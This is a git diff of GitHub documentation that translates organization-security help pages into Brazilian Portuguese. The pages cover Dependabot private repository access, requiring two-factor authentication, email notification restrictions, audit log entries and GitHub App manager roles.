-{% data variables.product.prodname_dependabot %} can check for outdated dependency references in a project and automatically generate a pull request to update them. To do this, {% data variables.product.prodname_dependabot %} must have access to all of the targeted dependency files. Typically, version updates will fail if one or more dependencies are inaccessible. For more information, see "[About {% data variables.product.prodname_dependabot %} version updates](/github/administering-a-repository/about-dependabot-version-updates)."
+{% data variables.product.prodname_dependabot %} pode verificar referências de dependências desatualizadas em um projeto e gerar automaticamente um pull request para atualizá-las. Para fazer isso, {% data variables.product.prodname_dependabot %} deve ter acesso a todos os arquivos de dependência de destino. Normalmente, atualizações da versão irão falhar se uma ou mais dependências forem inacessíveis. Para obter mais informações, consulte "[Sobre atualizações da versão de {% data variables.product.prodname_dependabot %}](/github/administering-a-repository/about-dependabot-version-updates)".
 
-By default, {% data variables.product.prodname_dependabot %} can't update dependencies that are located in private repositories or private package registries. However, if a dependency is in a private {% data variables.product.prodname_dotcom %} repository within the same organization as the project that uses that dependency, you can allow {% data variables.product.prodname_dependabot %} to update the version successfully by giving it access to the host repository.
+Por padrão, {% data variables.product.prodname_dependabot %} não pode atualizar as dependências que estão localizadas em repositórios privados ou registros de pacotes privados. Entretanto, se uma dependência estiver em um repositório privado de {% data variables.product.prodname_dotcom %} dentro da mesma organização que o projeto que usa essa dependência, você pode permitir que {% data variables.product.prodname_dependabot %} atualize a versão com sucesso, dando-lhe acesso à hospedagem do repositório.
 
-If your code depends on packages in a private registry, you can allow {% data variables.product.prodname_dependabot %} to update the versions of these dependencies by configuring this at the repository level. You do this by adding authentication details to the _dependabot.yml_ file for the repository. For more information, see "[Configuration options for dependency updates](/github/administering-a-repository/configuration-options-for-dependency-updates#configuration-options-for-private-registries)."
+Se seu código depende de pacotes em um registro privado, você pode permitir que {% data variables.product.prodname_dependabot %} atualize as versões dessas dependências configurando isso no nível do repositório. Você faz isso adicionando detalhes de autenticação ao arquivo _dependabot.yml_ do repositório. Para obter mais informações, consulte "[Opções de configuração para atualizações de dependências](/github/administering-a-repository/configuration-options-for-dependency-updates#configuration-options-for-private-registries)".
 
-To allow {% data variables.product.prodname_dependabot %} to access a private {% data variables.product.prodname_dotcom %} repository:
+Para permitir que {% data variables.product.prodname_dependabot %} acesse um repositório privado de {% data variables.product.prodname_dotcom %}:
 
-1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)."
-1. Under "{% data variables.product.prodname_dependabot %} private repository access", click **Add private repositories** or **Add internal and private repositories**.
-   ![Add repositories button](/assets/images/help/organizations/dependabot-private-repository-access.png)
-1. Start typing the name of the repository you want to allow.
-   ![Repository search field with filtered dropdown](/assets/images/help/organizations/dependabot-private-repo-choose.png)
-1. Click the repository you want to allow.
+1. Acesse as configurações de segurança e análise da sua organização. Para obter mais informações, consulte "[Exibir as configurações de segurança e análise](#displaying-the-security-and-analysis-settings)".
+1. Em "Acesso ao repositório privado de {% data variables.product.prodname_dependabot %}", clique em **Adicionar repositórios privados** ou **Adicionar repositórios internos e privados**. ![Botão para adicionar repositórios](/assets/images/help/organizations/dependabot-private-repository-access.png)
+1. Comece a digitar o nome do repositório que você deseja permitir. ![Campo de pesquisa do repositório com menu suspenso filtrado](/assets/images/help/organizations/dependabot-private-repo-choose.png)
+1. Clique no repositório que você deseja permitir.
 
-1. Optionally, to remove a repository from the list, to the right of the repository, click {% octicon "x" aria-label="The X icon" %}.
-   !["X" button to remove a repository](/assets/images/help/organizations/dependabot-private-repository-list.png)
+1. Opcionalmente, para remover um repositório da lista, à direita do repositório, clique em {% octicon "x" aria-label="The X icon" %}. ![Botão "X" para remover um repositório](/assets/images/help/organizations/dependabot-private-repository-list.png)
 {% endif %}
 
 {% ifversion ghes > 3.0 or ghec %}
 
-## Removing access to {% data variables.product.prodname_GH_advanced_security %} from individual repositories in an organization
+## Remover acesso a {% data variables.product.prodname_GH_advanced_security %} de repositórios individuais em uma organização
 
-You can manage access to {% data variables.product.prodname_GH_advanced_security %} features for a repository from its "Settings" tab. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." However, you can also disable {% data variables.product.prodname_GH_advanced_security %} features for a repository from the "Settings" tab for the organization.
+Você pode gerenciar o acesso a funcionalidades de {% data variables.product.prodname_GH_advanced_security %} para um repositório na aba "Configurações". Para obter mais informações, consulte "[Gerenciar configurações de segurança e análise do seu repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)". No entanto, você também pode desabilitar funcionalidades de {% data variables.product.prodname_GH_advanced_security %} para um repositório na aba "Configurações" da organização.
 
-1. Go to the security and analysis settings for your organization. For more information, see "[Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings)."
-1. To see a list of all the repositories in your organization with {% data variables.product.prodname_GH_advanced_security %} enabled, scroll to the "{% data variables.product.prodname_GH_advanced_security %} repositories" section.
-  ![{% data variables.product.prodname_GH_advanced_security %} repositories section](/assets/images/help/organizations/settings-security-analysis-ghas-repos-list.png)
-  The table lists the number of unique committers for each repository. This is the number of seats you could free up on your license by removing access to {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."
-1. To remove access to {% data variables.product.prodname_GH_advanced_security %} from a repository and free up seats used by any committers that are unique to the repository, click the adjacent {% octicon "x" aria-label="X symbol" %}.
-1. In the confirmation dialog, click **Remove repository** to remove access to the features of {% data variables.product.prodname_GH_advanced_security %}.
+1. Acesse as configurações de segurança e análise da sua organização. Para obter mais informações, consulte "[Exibir as configurações de segurança e análise](#displaying-the-security-and-analysis-settings)".
+1. Para ver uma lista de todos os repositórios na sua organização com {% data variables.product.prodname_GH_advanced_security %} habilitados, desça até a seção "repositórios de {% data variables.product.prodname_GH_advanced_security %}". ![{% data variables.product.prodname_GH_advanced_security %} repositories section](/assets/images/help/organizations/settings-security-analysis-ghas-repos-list.png) A tabela lista o número de committers únicos para cada repositório. Este é o número de estações que você poderia liberar em sua licença, removendo acesso a {% data variables.product.prodname_GH_advanced_security %}. Para obter mais informações, consulte "[Sobre a cobrança do {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)".
+1. Para remover acesso ao {% data variables.product.prodname_GH_advanced_security %} de um repositório e liberar estações usadas por todos os committers que são exclusivos do repositório, clique no {% octicon "x" aria-label="X symbol" %} adjacente.
+1. Na caixa de diálogo de confirmação, clique em **Remover repositório** para remover acesso às funcionalidades de {% data variables.product.prodname_GH_advanced_security %}.
 
 {% note %}
 
-**Note:** If you remove access to {% data variables.product.prodname_GH_advanced_security %} for a repository, you should communicate with the affected development team so that they know that the change was intended. This ensures that they don't waste time debugging failed runs of code scanning.
+**Observação:** Se você remover o acesso a {% data variables.product.prodname_GH_advanced_security %} para um repositório, você deverá comunicar-se com a equipe de desenvolvimento afetada para que saibam que a alteração foi planejada. Isso garante que eles não perderão tempo corrigindo execuções falhas de varredura de código.
 
 {% endnote %}
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Securing your repository](/code-security/getting-started/securing-your-repository)"{% ifversion not fpt %}
-- "[About secret scanning](/github/administering-a-repository/about-secret-scanning)"{% endif %}{% ifversion not ghae %}
-- "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)"
-- "[Managing vulnerabilities in your project's dependencies](/github/managing-security-vulnerabilities/managing-vulnerabilities-in-your-projects-dependencies)"{% endif %}{% ifversion fpt or ghec or ghes > 3.2 %}
-- "[Keeping your dependencies updated automatically](/github/administering-a-repository/keeping-your-dependencies-updated-automatically)"{% endif %}
+- "[Protegendo o seu repositório](/code-security/getting-started/securing-your-repository)"{% ifversion not fpt %}
+- "[Sobre a verificação de segredo](/github/administering-a-repository/about-secret-scanning)"{% endif %}{% ifversion not ghae %}
+- "[Sobre o gráfico de dependências](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)"
+- "[Gerenciar vulnerabilidades nas dependências do seu projeto](/github/managing-security-vulnerabilities/managing-vulnerabilities-in-your-projects-dependencies)"{% endif %}{% ifversion fpt or ghec or ghes > 3.2 %}
+- "[Manter suas dependências atualizadas automaticamente](/github/administering-a-repository/keeping-your-dependencies-updated-automatically)"{% endif %}
diff --git a/translations/pt-BR/content/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization.md b/translations/pt-BR/content/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization.md
index 24691a59e2..941b86e470 100644
--- a/translations/pt-BR/content/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization.md
+++ b/translations/pt-BR/content/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Requiring two-factor authentication in your organization
-intro: 'Organization owners can require {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} to enable two-factor authentication for their personal accounts, making it harder for malicious actors to access an organization''s repositories and settings.'
+title: Exigir autenticação de dois fatores em sua organização
+intro: 'Os proprietários da organização podem exigir que os {% ifversion fpt or ghec %}integrantes, colaboradores externos e gerentes de cobrança da organização{% else %}integrantes e colaboradores externos da organização{% endif %} habilitem a autenticação de dois fatores em suas contas pessoais para dificultar o acesso aos repositórios e às configurações da organização.'
 redirect_from:
   - /articles/requiring-two-factor-authentication-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization
@@ -11,38 +11,38 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Require 2FA in organization
+shortTitle: Exigir a 2FA na organização
 ---
 
-## About two-factor authentication for organizations
+## Sobre a autenticação de dois fatores para organizações
 
-{% data reusables.two_fa.about-2fa %} You can require all {% ifversion fpt or ghec %}members, outside collaborators, and billing managers{% else %}members and outside collaborators{% endif %} in your organization to enable two-factor authentication on {% data variables.product.product_name %}. For more information about two-factor authentication, see "[Securing your account with two-factor authentication (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)."
+{% data reusables.two_fa.about-2fa %} Você pode exigir que todos os {% ifversion fpt or ghec %}integrantes, colaboradores externos e gerentes de cobrança {% else %}integrantes e colaboradores externos na sua organização{% endif %} habilitem a autenticação de dois fatores em {% data variables.product.product_name %}. Para obter mais informações sobre a autenticação de dois fatores, consulte "[Proteger a sua conta com autenticação de dois fatores (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)".
 
 {% ifversion fpt or ghec %}
 
-You can also require two-factor authentication for organizations in an enterprise. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)."
+Você também pode exigir autenticação de dois fatores para as organizações de uma empresa. Para obter mais informações, consulte "[Aplicando políticas de segurança na sua empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)".
 
 {% endif %}
 
 {% warning %}
 
-**Warnings:**
+**Avisos:**
 
-- When you require use of two-factor authentication for your organization, {% ifversion fpt or ghec %}members, outside collaborators, and billing managers{% else %}members and outside collaborators{% endif %} (including bot accounts) who do not use 2FA will be removed from the organization and lose access to its repositories. They will also lose access to their forks of the organization's private repositories. You can [reinstate their access privileges and settings](/articles/reinstating-a-former-member-of-your-organization) if they enable two-factor authentication for their personal account within three months of their removal from your organization.
-- If an organization owner, member,{% ifversion fpt or ghec %} billing manager,{% endif %} or outside collaborator disables 2FA for their personal account after you've enabled required two-factor authentication, they will automatically be removed from the organization.
-- If you're the sole owner of an organization that requires two-factor authentication, you won't be able to disable 2FA for your personal account without disabling required two-factor authentication for the organization.
+- Se você exigir o uso da autenticação de dois fatores na organização, os {% ifversion fpt or ghec %}integrantes, colaboradores externos e gerentes de cobrança{% else %}integrantes e colaboradores externos{% endif %} da sua organização (incluindo contas bot) que não usam a 2FA serão removidos da organização e perderão acesso aos repositórios dela. Eles também perderão acesso às bifurcações dos repositórios privados da organização. Se eles habilitarem a autenticação de dois fatores for habilitada na conta pessoal em até três meses após a remoção da organização, você poderá [restabelecer as configurações e os privilégios de acesso deles](/articles/reinstating-a-former-member-of-your-organization).
+- Se um proprietário, integrante,{% ifversion fpt or ghec %} gerente de cobrança{% endif %} ou colaborador externo da organização desabilitar a 2FA em sua conta pessoal depois que você tiver habilitado a autenticação de dois fatores obrigatória, ele será automaticamente removido da organização.
+- Se você for o único proprietário de uma organização que exige autenticação de dois fatores, não poderá desabilitar a 2FA na sua conta pessoal sem desabilitar a autenticação de dois fatores obrigatória na organização.
 
 {% endwarning %}
 
 {% data reusables.two_fa.auth_methods_2fa %}
 
-## Prerequisites
+## Pré-requisitos
 
-Before you can require {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} to use two-factor authentication, you must enable two-factor authentication for your account on {% data variables.product.product_name %}. For more information, see "[Securing your account with two-factor authentication (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)."
+Antes de poder exigir que {% ifversion fpt or ghec %}os integrantes da organização, colaboradores externos e gerentes de cobrança{% else %}integrantes da organização e colaboradores externos{% endif %} usem a autenticação de dois fatores, você deve habilitá-la para a sua conta em {% data variables.product.product_name %}. Para obter mais informações, consulte "[Proteger sua conta com autenticação de dois fatores (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)".
 
-Before you require use of two-factor authentication, we recommend notifying {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} and asking them to set up 2FA for their accounts. You can see if members and outside collaborators already use 2FA. For more information, see "[Viewing whether users in your organization have 2FA enabled](/organizations/keeping-your-organization-secure/viewing-whether-users-in-your-organization-have-2fa-enabled)."
+Antes de exigir o uso da autenticação de dois fatores, recomendamos que você notifique os {% ifversion fpt or ghec %}integrantes, colaboradores externos e gerentes de cobrança da organização{% else %}integrantes e colaboradores externos da organização{% endif %} e peça para eles configurarem a 2FA nas contas deles. Você pode ver se os integrantes e colaboradores externos já estão usando a 2FA. Para obter mais informações, consulte "[Ver se os usuários na organização têm a 2FA habilitada](/organizations/keeping-your-organization-secure/viewing-whether-users-in-your-organization-have-2fa-enabled)".
 
-## Requiring two-factor authentication in your organization
+## Exigir autenticação de dois fatores em sua organização
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -50,32 +50,32 @@ Before you require use of two-factor authentication, we recommend notifying {% i
 {% data reusables.organizations.require_two_factor_authentication %}
 {% data reusables.organizations.removed_outside_collaborators %}
 {% ifversion fpt or ghec %}
-8. If any members or outside collaborators are removed from the organization, we recommend sending them an invitation that can reinstate their former privileges and access to your organization. They must enable two-factor authentication before they can accept your invitation.
+8. Se algum integrante ou colaborador externo for removido da organização, recomendamos o envio de um convite para restabelecer os privilégios e o acesso à organização que ele tinha anteriormente. O usuário precisa habilitar a autenticação de dois fatores para poder aceitar o convite.
 {% endif %}
 
-## Viewing people who were removed from your organization
+## Exibir pessoas removidas da organização
 
-To view people who were automatically removed from your organization for non-compliance when you required two-factor authentication, you can [search your organization's audit log](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#accessing-the-audit-log) for people removed from your organization. The audit log event will show if a person was removed for 2FA non-compliance.
+Para exibir as pessoas que foram removidas automaticamente da organização por motivo de não conformidade quando você passou a exibir a autenticação de dois fatores, você pode [pesquisar o log de auditoria da organização](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#accessing-the-audit-log) para consultar as pessoas removidas da organização. O evento do log de auditoria mostrará se uma pessoa foi removida por motivo de não conformidade com a 2FA.
 
-![Audit log event showing a user removed for 2FA non-compliance](/assets/images/help/2fa/2fa_noncompliance_audit_log_search.png)
+![Evento do log de auditoria mostrando um usuário removido por motivo de não conformidade com a 2FA](/assets/images/help/2fa/2fa_noncompliance_audit_log_search.png)
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.audit_log.audit_log_sidebar_for_org_admins %}
-4. Enter your search query. To search for:
-    - Organization members removed, use `action:org.remove_member` in your search query
-    - Outside collaborators removed, use `action:org.remove_outside_collaborator` in your search query{% ifversion fpt or ghec %}
-    - Billing managers removed, use `action:org.remove_billing_manager`in your search query{% endif %}
+4. Faça a pesquisa. Para pesquisar:
+    - Integrantes da organização removidos, use `action:org.remove_member` na pesquisa
+    - Colaboradores externos removidos, use `action:org.remove_outside_collaborator` na pesquisa{% ifversion fpt or ghec %}
+    - Gerentes de cobrança removidos, use `action:org.remove_billing_manager`na pesquisa{% endif %}
 
- You can also view people who were removed from your organization by using a [time frame](/articles/reviewing-the-audit-log-for-your-organization/#search-based-on-time-of-action) in your search.
+ Você também pode exibir as pessoas que foram removidas da organização usando um [intervalo de tempo](/articles/reviewing-the-audit-log-for-your-organization/#search-based-on-time-of-action) na pesquisa.
 
-## Helping removed members and outside collaborators rejoin your organization
+## Ajudar integrantes e colaboradores externos removidos a voltarem à organização
 
-If any members or outside collaborators are removed from the organization when you enable required use of two-factor authentication, they'll receive an email notifying them that they've been removed. They should then enable 2FA for their personal account, and contact an organization owner to request access to your organization.
+Se algum integrante ou colaborador externo for removido da organização quando você habilitar o uso obrigatório da autenticação de dois fatores, o integrante/colaborador receberá um e-mail informando que foi removido. Para solicitar acesso à sua organização, o integrante/colaborador deverá ativar a 2FA na conta pessoal e entrar em contato com o proprietário da organização.
 
-## Further reading
+## Leia mais
 
-- "[Viewing whether users in your organization have 2FA enabled](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)"
-- "[Securing your account with two-factor authentication (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa)"
-- "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)"
-- "[Reinstating a former outside collaborator's access to your organization](/articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization)"
+- "[Ver se os usuários na organização têm a 2FA habilitada](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)"
+- "[Proteger sua conta com autenticação de dois fatores (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa)"
+- "[Restabelecer ex-integrantes da organização](/articles/reinstating-a-former-member-of-your-organization)"
+- "[Restabelecer o acesso de um ex-colaborador externo à organização](/articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization)"
diff --git a/translations/pt-BR/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md b/translations/pt-BR/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md
index 609f0b67d1..33aa7bff82 100644
--- a/translations/pt-BR/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md
+++ b/translations/pt-BR/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Restricting email notifications for your organization
-intro: 'To prevent organization information from leaking into personal email accounts, you can restrict the domains where members can receive email notifications about organization activity.'
+title: Restringir notificações de e-mail para sua organização
+intro: 'Para evitar que as informações da organização sejam divulgadas para contas pessoais de e-mail, você pode restringir domínios em que os integrantes podem receber notificações de e-mail sobre a atividade da organização.'
 product: '{% data reusables.gated-features.restrict-email-domain %}'
 permissions: Organization owners can restrict email notifications for an organization.
 redirect_from:
@@ -18,29 +18,29 @@ topics:
   - Notifications
   - Organizations
   - Policy
-shortTitle: Restrict email notifications
+shortTitle: Restringir notificações de e-mail
 ---
 
-## About email restrictions
+## Sobre restrições de e-mail
 
-When restricted email notifications are enabled in an organization, members can only use an email address associated with a verified or approved domain to receive email notifications about organization activity. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
+Quando as notificações de e-mail restritas são habilitadas em uma organização, os integrantes só podem usar um endereço de e-mail associado a um domínio verificado ou aprovado para receber as notificações de e-mail sobre a atividade da organização. Para obter mais informações, consulte "[Verificar ou aprovar um domínio para a sua organização](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)".
 
 {% data reusables.enterprise-accounts.approved-domains-beta-note %}
 
 {% data reusables.notifications.email-restrictions-verification %}
 
-Outside collaborators are not subject to restrictions on email notifications for verified or approved domains. For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
+Os colaboradores externos não estão sujeitos às restrições de notificações por e-mail para domínios verificados ou aprovados. Para obter mais informações sobre colaboradores externos, consulte "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)".
 
-If your organization is owned by an enterprise account, organization members will be able to receive notifications from any domains verified or approved for the enterprise account, in addition to any domains verified or approved for the organization. For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."
+Se sua organização pertence a uma conta corporativa os integrantes da organização poderão receber notificações de qualquer domínio verificado ou aprovado para a conta corporativa, Além de quaisquer domínios verificados ou aprovados para a organização. Para obter mais informações, consulte "[Verificando ou aprovando um domínio para sua empresa](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)".
 
-## Restricting email notifications
+## Restringir notificações de e-mail
 
-Before you can restrict email notifications for your organization, you must verify or approve at least one domain for the organization, or an enterprise owner must have verified or approved at least one domain for the enterprise account.
+Antes de restringir as notificações de e-mail para a sua organização, você deve verificar ou aprovar pelo menos um domínio para a organização ou o proprietário da empresa deve ter verificado ou aprovado pelo menos um domínio para a conta corporativa.
 
-For more information about verifying and approving domains for an organization, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
+Para obter mais informações sobre verificações e aprovações de domínios para uma organização, consulte "[Verificar ou aprovar um domínio para a sua organização](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)".
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.verified-domains %}
 {% data reusables.organizations.restrict-email-notifications %}
-6. Click **Save**.
+6. Clique em **Salvar**.
diff --git a/translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md b/translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md
index c6eb09d519..034abf484e 100644
--- a/translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md
+++ b/translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md
@@ -515,7 +515,6 @@ For more information, see "[Managing the publication of {% data variables.produc
 
 | Action | Description
 |------------------|-------------------
-| `clear` | Triggered when a payment method on file is [removed](/articles/removing-a-payment-method).
 | `create` |  Triggered when a new payment method is added, such as a new credit card or PayPal account.
 | `update` | Triggered when an existing payment method is updated.
 
@@ -550,7 +549,7 @@ For more information, see "[Managing the publication of {% data variables.produc
 | `update_require_code_owner_review ` | Triggered when enforcement of required Code Owner review is updated on a branch.
 | `dismiss_stale_reviews ` | Triggered when enforcement of dismissing stale pull requests is updated on a branch.
 | `update_signature_requirement_enforcement_level ` | Triggered when enforcement of required commit signing is updated on a branch.
-| `update_pull_request_reviews_enforcement_level ` | Triggered when enforcement of required pull request reviews is updated on a branch.
+| `update_pull_request_reviews_enforcement_level ` | Triggered when enforcement of required pull request reviews is updated on a branch. Can be one of `0`(deactivated), `1`(non-admins), `2`(everyone).
 | `update_required_status_checks_enforcement_level ` | Triggered when enforcement of required status checks is updated on a branch.
 | `update_strict_required_status_checks_policy` | Triggered when the requirement for a branch to be up to date before merging is changed.
 | `rejected_ref_update ` | Triggered when a branch update attempt is rejected.
diff --git a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md
index e12220689a..c9466efb03 100644
--- a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Adding GitHub App managers in your organization
-intro: 'Organization owners can grant users the ability to manage some or all {% data variables.product.prodname_github_apps %} owned by the organization.'
+title: Adicionar gerentes do aplicativo GitHub em sua organização
+intro: 'Os proprietários da organização podem conceder aos usuários a capacidade de gerenciar alguns ou todos os {% data variables.product.prodname_github_apps %} pertencentes à organização.'
 redirect_from:
   - /articles/adding-github-app-managers-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/adding-github-app-managers-in-your-organization
@@ -12,32 +12,29 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Add GitHub App managers
+shortTitle: Adicionar gerentes do aplicativo GitHub
 ---
 
-For more information about {% data variables.product.prodname_github_app %} manager permissions, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#github-app-managers)."
+Para obter mais informações sobre as permissões do gerenciador de {% data variables.product.prodname_github_app %}, consulte "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#github-app-managers)."
 
-## Giving someone the ability to manage all {% data variables.product.prodname_github_apps %} owned by the organization
+## Dar a alguém a capacidade de gerenciar todos os {% data variables.product.prodname_github_apps %} pertencentes à organização
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.github-apps-settings-sidebar %}
-1. Under "Management", type the username of the person you want to designate as a {% data variables.product.prodname_github_app %} manager in the organization, and click **Grant**.
-![Add a {% data variables.product.prodname_github_app %} manager](/assets/images/help/organizations/add-github-app-manager.png)
+1. Em "Management" (Gerenciamento), digite o nome de usuário da pessoa que deseja designar como um gerente do {% data variables.product.prodname_github_app %} na organização e clique em **Grant** (Conceder). ![Adicionar um gerente do {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/add-github-app-manager.png)
 
-## Giving someone the ability to manage an individual {% data variables.product.prodname_github_app %}
+## Dar a um indivíduo a capacidade de gerenciar um {% data variables.product.prodname_github_app %} individual
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.github-apps-settings-sidebar %}
-1. Under "{% data variables.product.prodname_github_apps %}", click on the avatar of the app you'd like to add a {% data variables.product.prodname_github_app %} manager for.
-![Select {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/select-github-app.png)
+1. Em "{% data variables.product.prodname_github_apps %}", clique no avatar do aplicativo ao qual você deseja adicionar um gerente de {% data variables.product.prodname_github_app %}. ![Selecione {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/select-github-app.png)
 {% data reusables.organizations.app-managers-settings-sidebar %}
-1. Under "App managers", type the username of the person you want to designate as a GitHub App manager for the app, and click **Grant**.
-![Add a {% data variables.product.prodname_github_app %} manager for a specific app](/assets/images/help/organizations/add-github-app-manager-for-app.png)
+1. Em "App managers" (Gerentes de app), digite o nome de usuário da pessoa que deseja designar como gerente do aplicativo GitHub e clique em **Grant** (Conceder). ![Adicionar um gerente do {% data variables.product.prodname_github_app %} para um app específico](/assets/images/help/organizations/add-github-app-manager-for-app.png)
 
 {% ifversion fpt or ghec %}
-## Further reading
+## Leia mais
 
-- "[About {% data variables.product.prodname_dotcom %} Marketplace](/articles/about-github-marketplace/)"
+- "[Sobre o {% data variables.product.prodname_dotcom %} Marketplace](/articles/about-github-marketplace/)"
 {% endif %}
diff --git a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md
index 58f09cc972..a2e64bcac6 100644
--- a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Removing GitHub App managers from your organization
-intro: 'Organization owners can revoke {% data variables.product.prodname_github_app %} manager permissions that were granted to a member of the organization.'
+title: Remover gerentes do aplicativo GitHub da organização
+intro: 'Os proprietários da organização podem revogar as permissões de gerente do {% data variables.product.prodname_github_app %} concedidas a um integrante da organização.'
 redirect_from:
   - /articles/removing-github-app-managers-from-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/removing-github-app-managers-from-your-organization
@@ -12,32 +12,29 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Remove GitHub App managers
+shortTitle: Remover gerentes do aplicativo GitHub
 ---
 
-For more information about {% data variables.product.prodname_github_app %} manager permissions, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#github-app-managers)."
+Para obter mais informações sobre as permissões do gerenciador de {% data variables.product.prodname_github_app %}, consulte "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#github-app-managers)."
 
-## Removing a {% data variables.product.prodname_github_app %} manager's permissions for the entire organization
+## Remover as permissões de gerente do {% data variables.product.prodname_github_app %} em toda a organização
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.github-apps-settings-sidebar %}
-1. Under "Management", find the username of the person you want to remove {% data variables.product.prodname_github_app %} manager permissions from, and click **Revoke**.
-![Revoke {% data variables.product.prodname_github_app %} manager permissions](/assets/images/help/organizations/github-app-manager-revoke-permissions.png)
